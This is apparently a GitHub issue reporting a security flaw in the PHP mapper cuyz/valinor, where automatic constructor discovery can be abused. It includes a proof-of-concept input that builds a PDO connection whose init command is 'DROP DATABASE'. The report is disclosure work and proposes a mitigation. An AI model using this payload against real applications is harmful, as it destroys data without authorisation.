Design issue - automatic constructor discovery

Heyo, coming back at a design issue with this package, which has been bothering me a bit.

The issue arises for me personally when upgrading from cuyz/valinor:0.3.0 to a newer system on an existing application, which broke due to the wrong constructor being picked.

Still, a bigger security concern is problematic, and it is akin to the infamous rails 5228 issue ( rails/rails#5228 - I still remember the issue number off the top of my head :D ).

Example exploit

Take following DTO example:

final class UserDTO
{
    public function __construct(
        public int $id,
        public string $name
    ) {}
    public static function fromDb(
        PDO $connection,
        int $id
    ): self { /* ... code to fetch the DTO here ... */ }
}

There is nothing inherently unsafe about the above UserDTO, but when mixed with cuyz/valinor:^0.5.0 ( specifically 718d3c1 ), it is an explosive mix:

// this could be coming from user input:
$maliciousPayload = [
    'connection' => [
      'dsn' => 'mysql:host=some-host;database=some-database',
      'username' => 'root',
      'password' => 'root',
      'options' => [
        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002
        1002 => 'DROP DATABASE all-the-moneys'
      ]
    ],
    'id' => 123,
];

$treeMapper->map(
  UserDTO::class,
  $maliciousPayload
); // your DB is gone :D

The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.

Mitigation

Automatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.